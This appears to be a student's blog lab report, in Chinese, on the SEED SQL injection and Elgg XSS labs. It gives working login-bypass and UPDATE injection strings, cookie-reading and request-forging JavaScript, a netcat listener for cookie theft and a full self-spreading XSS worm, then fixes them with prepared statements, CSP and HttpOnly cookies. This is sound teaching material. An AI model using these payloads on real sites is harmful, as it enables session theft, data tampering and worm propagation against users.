20251908-2025-2026-2 《网络攻防实践》第十周作业

一、实验内容

1.主要任务

1、SEED SQL注入攻击与防御实验

  • 熟悉SQL语句:进入数据库,查看credential表结构与数据。
  • SELECT注入攻击:在未知密码的情况下,利用'#绕过登录验证,以管理员身份登录。
  • UPDATE注入攻击:在编辑个人资料时,通过注入语句(如', Salary='50000)修改自己的工资。
  • SQL对抗:使用Prepared Statement修复登录验证代码,使注入攻击失效。

2、SEED XSS跨站脚本攻击实验(Elgg)

  • 弹窗警告:在个人资料中嵌入JS,使访客看到弹窗。
  • 显示Cookie:弹窗展示访客的Cookie信息。
  • 窃取Cookie:将受害者的Cookie发送到攻击者监听的服务器。
  • 自动加好友:使访问者自动将攻击者添加为好友。
  • 修改受害者资料:自动修改访问者的个人简介(如改为“Samy was here!”)。
  • 编写XSS蠕虫:使恶意代码能自动复制到受害者的资料中,形成传播链。
  • 对抗XSS:配置CSP限制脚本来源,并设置Cookie的HttpOnly属性,防御XSS攻击。

2.实验环境

  • 主机系统:Windows 11
  • 虚拟化平台:VMware Workstation 17 Pro
  • 虚拟机
主机 IP地址 Mac地址
SEED-Ubuntu20.04
VMNet8网卡 192.168.188.1 00:50:56:fa:aa:1e
  • 网络模式:NAT模式(VMnet8,子网 192.168.188.0/24)确保虚拟机间及与宿主机互通。

3.知识点梳理

SQL 注入

  • 原理:攻击者将恶意 SQL 代码拼接到 Web 应用的输入参数中,通过闭合引号与注释符篡改原始查询逻辑,使数据库执行非预期的命令。
  • SELECT 注入:利用 ' 闭合字符串,用 #-- 注释后续条件,实现绕过登录认证。
  • UPDATE 注入:在编辑接口的任意字段中闭合引号后追加赋值语句(如 ', Salary='50000),修改不应被修改的数据库字段。
  • 防御——Prepared Statement:将 SQL 结构与数据分离,用户输入仅作为参数传入,永远不会被解释为 SQL 代码,是防御 SQL 注入最根本、最有效的手段。

XSS 跨站脚本攻击

  • 原理:攻击者将恶意 JavaScript 代码注入 Web 页面,当其他用户访问该页面时,脚本在其浏览器环境中执行,从而实现窃取 Cookie、伪造请求等攻击行为。
  • 存储型 XSS:恶意代码被持久化存储在服务器端(如用户资料中),任何访问该内容的用户都会触发脚本执行。
  • 反射型 XSS:恶意代码通过 URL 参数等方式传递,需要诱导受害者点击构造好的链接。
  • Cookie 窃取:通过 document.cookie 读取受害者的会话 Cookie,并利用 Image 对象等隐蔽手段将其发送到攻击者服务器。
  • CSRF 结合 XSS:利用 AJAX 在受害者浏览器中自动发送加好友、修改资料等请求,由于请求携带了受害者的会话 Cookie,服务器认为是合法操作。
  • XSS 蠕虫:将自身代码注入受害者的个人资料中,使得任何访问受害者页面的用户再次被感染,形成自动化的传播链。

XSS 防御

  • Content Security Policy (CSP):通过 Apache 配置 HTTP 响应头 Content-Security-Policy: script-src 'self',限制浏览器只能执行同源脚本,彻底阻止内联 <script> 和事件处理器(如 onerror)中的恶意代码。
  • HttpOnly Cookie:在 PHP 配置中设置 session.cookie_httponly = 1,使会话 Cookie 对 JavaScript 不可见,即使页面存在 XSS 漏洞,攻击者也无法通过 document.cookie 窃取会话,从而保护用户身份不被劫持。
  • 输出编码:对用户提交的内容在输出到页面时进行 HTML 实体编码(如 htmlspecialchars()),使 < 变为 <> 变为 >,浏览器将其视为纯文本而非可执行标签。
  • 输入过滤:对用户输入进行白名单验证或标签过滤,从源头阻断恶意脚本的存储。

二、实验过程

SEED-Ubuntu20.04 VMware配置

我这里尝试使用最新版本SEED-Ubuntu20.04进行实验,在下载镜像后转成VMware支持的格式

C:\Program Files\Oracle\VirtualBox>VBoxManage.exe clonehd D:\25152\Desktop\虚拟机镜像\SEED-Ubuntu20.04\SEED-Ubuntu20.04.vdi D:\25152\Desktop\虚拟机镜像\SEED-Ubuntu20.04\SEED-Ubuntu20.04.vmdk --format VMDK

image-20260525141705279

vmware-vdiskmanager.exe -r "D:\25152\Desktop\虚拟机镜像\SEED-Ubuntu20.04\SEED-Ubuntu20.04.vmdk" -t 0 "D:\25152\Desktop\虚拟机镜像\SEED-Ubuntu20.04\SEED-Ubuntu20.04.vmdk"

image-20260525141711631

使用的命令是这些,但是不建议折腾,需要安装Virtual Box,我直接上传到网盘了

通过网盘分享的文件:SEED-Ubuntu20.04.zip
链接: https://pan.baidu.com/s/1Qi1CJAEE6KnmX6V-nYBw0w 提取码: eemi
--来自百度网盘超级会员v5的分享

一、SEED SQL注入攻击与防御实验

从 SEED 官网下载 Labsetup.zip:

wget --no-check-certificate https://seedsecuritylabs.org/Labs_20.04/Files/Web_SQL_Injection/Labsetup.zip
unzip Labsetup.zip
cd Labsetup

image-20260525143731656

image-20260525143747634

2. 配置 hosts 映射

sudo vim /etc/hosts

添加以下条目:

10.9.0.5   www.seed-server.com

image-20260525143858422

3. 构建并启动容器

首先配置国内镜像加速器,否则连接会超时

sudo vim /etc/docker/daemon.json

image-20260525144104675

保存后重启 Docker 服务,然后重新构建:

image-20260525144222696

image-20260525144336424

启动后可通过 dockps 查看容器 ID,确认两个容器(Web 应用和 MySQL 数据库)都在运行。

image-20260525144518785

进入 MySQL 容器熟悉数据库

docksh 67f6      # 用容器 ID 前几位进入 mysql 容器
mysql -u root -pdees

image-20260525144831057

进入 MySQL 后执行:

show databases;
use sqllab_users;
show tables;
SELECT * FROM credential WHERE Name = 'Alice';

查看表结构和数据,熟悉 credential 表中有哪些字段。

mysql> show databases;               -- 
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sqllab_users       |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

mysql> use sqllab_users;             -- 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;                  -- 
+------------------------+
| Tables_in_sqllab_users |
+------------------------+
| credential             |
+------------------------+
1 row in set (0.00 sec)

mysql> describe credential;          --  credential 
+-------------+--------------+------+-----+---------+----------------+
| Field       | Type         | Null | Key | Default | Extra          |
+-------------+--------------+------+-----+---------+----------------+
| ID          | int unsigned | NO   | PRI | NULL    | auto_increment |
| Name        | varchar(30)  | NO   |     | NULL    |                |
| EID         | varchar(20)  | YES  |     | NULL    |                |
| Salary      | int          | YES  |     | NULL    |                |
| birth       | varchar(20)  | YES  |     | NULL    |                |
| SSN         | varchar(20)  | YES  |     | NULL    |                |
| PhoneNumber | varchar(20)  | YES  |     | NULL    |                |
| Address     | varchar(300) | YES  |     | NULL    |                |
| Email       | varchar(300) | YES  |     | NULL    |                |
| NickName    | varchar(300) | YES  |     | NULL    |                |
| Password    | varchar(300) | YES  |     | NULL    |                |
+-------------+--------------+------+-----+---------+----------------+
11 rows in set (0.01 sec)

mysql> SELECT * FROM credential WHERE Name = 'Alice';  --  Alice 
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
| ID | Name  | EID   | Salary | birth | SSN      | PhoneNumber | Address | Email | NickName | Password                                 |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
|  1 | Alice | 10000 |  20000 | 9/20  | 10211002 |             |         |       |          | fdbe918bdae83000aa54747fc95fe0470fff4976 |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
1 row in set (0.00 sec)

mysql> 

开始攻击

在浏览器中进行 SELECT 注入(绕过登录)
  1. 打开浏览器
    在 SEED Ubuntu 20.04 虚拟机中,点击左侧任务栏的 Firefox 图标,打开浏览器。
  2. 访问 Web 应用
    在地址栏输入:http://www.seed-server.com

image-20260525144952225回车,应该看到员工管理系统的登录页面。

image-20260525145014287

注入攻击

  • Username 输入:admin'#
  • Password 任意填写(例如 111
  • 点击 Login 按钮

image-20260525145057640
注入成功,页面会跳转到欢迎页面,并显示所有员工的信息(包括 Alice、Boby、Ryan 等的工资、SSN 等),而不是提示密码错误。
这就说明你成功绕过了密码验证,以管理员身份登录了。

image-20260525145122845

UPDATE 注入:修改自己的工资

目标:用 UPDATE 注入将自己的工资改为 50000。

  • 点击右上角 Logout 退出管理员账户,然后用 Alice'# 登录(密码随意)。
  • 登录后点击页面上的 Edit Profile 进入编辑资料页面。
  • Phone Number 输入框中输入:
', Salary='50000

image-20260525145414588

点击 Save 保存。

再次 Logout,用 Alice'# 登录,查看 Welcome 页面上显示的 Salary 是否已经变成 50000

image-20260525145448090

SQL 防御:使用 Prepared Statement

目标:修复 unsafe_home.php,使之前的注入攻击失效。

进入 Web 容器修改代码:

docksh cf9b     # 进入 www 容器
cd /var/www/SQL_Injection

image-20260525145610005

安装vim后编辑登录验证文件:

apt update
apt install vim
vim unsafe_home.php

找到类似以下代码段:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
if (!$result = $conn->query($sql)) {
    ...
}

image-20260525150137364

替换为 Prepared Statement 版本:

// 准备 SQL 语句,用 ? 占位
$stmt = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
                        FROM credential
                        WHERE name = ? AND Password = ?");
// 绑定参数
$stmt->bind_param("ss", $input_uname, $hashed_pwd);
// 执行查询
$stmt->execute();
// 获取结果集
$result = $stmt->get_result();
if (!$result) {
    // 错误处理...
}

image-20260525150543886

保存后重启 Apache:

service apache2 restart
exit   # 退出容器

image-20260525150627251

现在回到浏览器,再次尝试用 admin'# 登录,登录失败,证明防御生效。

image-20260525150712046

此时进去后什么也没有显示

image-20260525150729344

二、SEED XSS跨站脚本攻击实验(Elgg)

先退出sql和终端

quit
exit

image-20260525151241990

退出之前实验的容器

cd ~/Downloads/Labsetup
docker-compose down

image-20260525151428797

下载并解压 XSS 实验包

cd ~
wget --no-check-certificate https://seedsecuritylabs.org/Labs_20.04/Files/Web_XSS_Elgg/Labsetup.zip
unzip -o Labsetup.zip   # -o 覆盖已存在的文件
cd Labsetup

构建并启动容器

dcbuild
dcup
dockps

image-20260525152326716

image-20260525152342039

在浏览器中按 Ctrl + Shift + Delete 打开清除历史记录窗口,选择 “Everything”(全部),勾选 “Cache”(缓存),点击 “Clear Now”

image-20260526151454733

elgg登录链接:http://www.seed-server.com

实验账户

用户名 密码
admin seedelgg
alice seedalice
boby seedboby
charlie seedcharlie
samy seedsamy

任务1:弹窗显示警告窗口

目的:在 Alice 的个人资料中嵌入恶意 JS,使其他用户访问时弹出警告框。

在 Firefox 中访问 http://www.seed-server.com,用alice进行登录

image-20260526151543326

登录成功后点击上方菜单 Account → Settings → Edit Profile

image-20260526151751222

image-20260526151831472

Brief descriptionAbout Me 文本框中,先点击 Edit HTML 切换到源码模式,然后输入:

image-20260526152137126

<script>alert('XSS Attack! About me');</script>
<img src="x" onerror="alert('XSS Attack! Brief description');">

image-20260526152150320

点击 Save 保存,到主页是看到出现弹窗。

image-20260526152212638

image-20260526152246935

两处的攻击都成功了

登录Charlie也是一样

image-20260526153951270

目的:证明可以读取受害者的会话 cookie。

将 Alice 的 About Me 内容改为:

<script>alert(document.cookie);</script>

image-20260526152348959

保存后,弹窗显示 cookie 字符串:

image-20260526152416618


任务3:窃取受害者的 cookies

目的:将受害者的 cookie 悄悄发送到攻击者服务器。

攻击者机器准备(宿主机):

nc -lknv 5555

image-20260526152557318

在 Alice 的 About Me 中注入(需要将 IP 替换为攻击者机器的 IP, 10.9.0.1):

image-20260526162922309

image-20260526152659078

保存后,此时在宿主机的 nc 终端看到:

image-20260526152749520

其中包含cookie。

任务4:自动加为好友

目的:受害者访问 Samy 的主页后,自动将 Samy 加为好友。

先获取 Samy 的 GUID

Samy 登录(samy,seedsamy)。

image-20260526152934940

按 F12 打开开发者工具,在 Console 中输入:

elgg.session.user.guid

image-20260526153026369

记录下这个数字(59)。

注入攻击代码(用 Samy 账号,编辑 About Me,HTML 模式):

<script type="text/javascript">
window.onload = function () {
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    var sendurl = "http://www.seed-server.com/action/friends/add?friend=59" + ts + token;
    var Ajax = new XMLHttpRequest();
    Ajax.open("GET", sendurl, true);
    Ajax.send();
}
</script>

注意:将 friend=59 中的 59 替换成刚才获取的 Samy 实际 GUID。

image-20260526153146493

验证

Alice 登录,访问 Samy 的主页(Members → Samy)。

image-20260526153418567

image-20260526153319748

image-20260526153336687

  • 查看 Alice 的好友列表(Friends),Samy 应出现在其中。

image-20260526153437652


任务5:修改受害者信息

目的:受害者访问 Samy 页面后,其 About Me 会被自动修改为 “Samy was here!”。

Samy 登录,编辑 About Me(HTML 模式):

<script type="text/javascript">
window.onload = function () {
    var userName = "&name=" + elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    var content = "&description=Samy%20was%20here!&accesslevel[description]=2";
    var sendurl = "http://www.seed-server.com/action/profile/edit";
    var data = userName + guid + ts + token + content;
    
    if (elgg.session.user.guid != 59) {  // 59 替换成 Samy 的 GUID,避免修改自己
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(data);
    }
}
</script>

image-20260526153528875

保存后,用 Alice 访问 Samy 页面,然后查看 Alice 的 Profile,她的 About Me 应变为 “Samy was here!”。

image-20260526153627328

image-20260526153636896

image-20260526153701547

任务6:编写 XSS 蠕虫

目的:让恶意代码能自动复制到受害者的 About Me 中,形成传播链。

蠕虫脚本(用 Samy 登录,放入 About Me,HTML 模式):

<script id="worm" type="text/javascript">
window.onload = function(){
    var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "<\/script>";
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

    var userName = "&name=" + elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

    // 加好友请求
    var friendURL = "http://www.seed-server.com/action/friends/add?friend=59" + ts + token;
    // 修改资料请求(将蠕虫代码写入受害者 About Me)
    var editURL = "http://www.seed-server.com/action/profile/edit";
    var content = "&description=" + wormCode + "&accesslevel[description]=2";
    
    if (elgg.session.user.guid != 59) {  // 59 是 Samy 的 GUID,避免感染自己
        var Ajax1 = new XMLHttpRequest();
        Ajax1.open("GET", friendURL, true);
        Ajax1.send();
        
        var Ajax2 = new XMLHttpRequest();
        Ajax2.open("POST", editURL, true);
        Ajax2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax2.send(userName + guid + ts + token + content);
    }
}
</script>

image-20260526153751504

传播验证

charlie 登录,访问 Samy 主页 → charlie 的 About Me 会被蠕虫代码覆盖,且自动加 Samy 为好友。

先查看访问前的状态

image-20260526153905023

image-20260526154203756

访问后查看

image-20260526154108383

image-20260526154135701

Boby 登录,访问 Charlie 主页 → Boby 同样被感染,蠕虫继续传播。

访问Charlie前状态

image-20260526154313989

image-20260526154328905

访问后

image-20260526154351821

image-20260526154402070

image-20260526154417194

任务7:对抗 XSS 攻击

在 Elgg 中,用户输入的“About Me”等内容是通过视图文件输出的。我们修改输出函数,强制进行 HTML 编码。

编辑 Elgg 的输出视图文件:

这里一定要进入docker(elgg)执行(docksh 7515 # 用容器 ID 前几位进入elgg 容器)

apt update
apt install vim
设置 Content Security Policy (CSP)

目标:限制浏览器只能执行同源的脚本,禁止内联脚本。

编辑 Elgg 站点的 Apache 配置文件:

vim /etc/apache2/sites-enabled/apache_elgg.conf

</VirtualHost> 之前,添加一行:

Header set Content-Security-Policy "script-src 'self'"

image-20260526155655642

确保 Apache 的 headers 模块已启用:

a2enmod headers
service apache2 restart

image-20260526155713765


目标:即使存在 XSS 漏洞,攻击者也无法用 JavaScript 读取会话 cookie。

编辑 PHP 配置文件:

vim /etc/php/7.4/apache2/php.ini

(PHP 版本可能是 7.2 或 7.4,可通过 php -v 确认)

搜索 session.cookie_httponly,将其值改为 1

session.cookie_httponly = 1

image-20260526160425783

同时可以启用安全属性

session.cookie_secure = Off    # 保持 Off,因为是用 HTTP

image-20260526160701924

重启 Apache:

service apache2 restart
验证

1.查看Alice主页不会出现警告

image-20260526160804612

2.使用admin账号访问Charlie主页不会自动加好友

访问前

image-20260526160854161

image-20260526160931106

访问后

image-20260526160944350

3.删除Boby的好友Samy后访问Samy主页也不会被感染

删除好友和profile

image-20260526161100963

image-20260526161231406

访问主页

image-20260526161134878

查看好友列表和profile

image-20260526161148407

image-20260526161248549

三、学习中遇到的问题及解决

1.没有开箱即用的兼容VMware 的 Seed Ubuntu 20.04镜像

按照网上的教程将vdi文件转成了vmdk后再新建个虚拟机就好了,前文有详细的教程,不再赘述

通过网盘分享的文件:SEED-Ubuntu20.04.zip
链接: https://pan.baidu.com/s/1Qi1CJAEE6KnmX6V-nYBw0w 提取码: eemi
--来自百度网盘超级会员v5的分享

2.XSS攻击时无法进入正常的Elgg页面,依旧停留在SQL攻击的页面

反复查了许久,定位到是浏览器缓存没有清理,清理一下就好了

在浏览器中按 Ctrl + Shift + Delete 打开清除历史记录窗口,选择 “Everything”(全部),勾选 “Cache”(缓存),点击 “Clear Now”

image-20260526161740789

四、学习感悟、思考等

经过这次实验,我深刻体会到安全漏洞往往源于最不起眼的疏忽。看似简单的拼接用户输入,竟能让整个系统门户大开。这让我意识到,编写代码不仅是实现功能,更是一场与潜在威胁的博弈。同时,我也理解了“防御”远比“攻击”更需要前瞻性与系统性思维。作为一个学习者,最大的收获不是掌握了具体的攻击手法,而是建立起“不要信任用户输入”的基本安全观念——这种思维方式,比任何技术细节都更值得铭记。

参考资料:https://blog.csdn.net/m0_52126419/article/details/130151189

posted @ 2026-05-26 16:31  _Biyan  阅读(25)  评论(0)    收藏  举报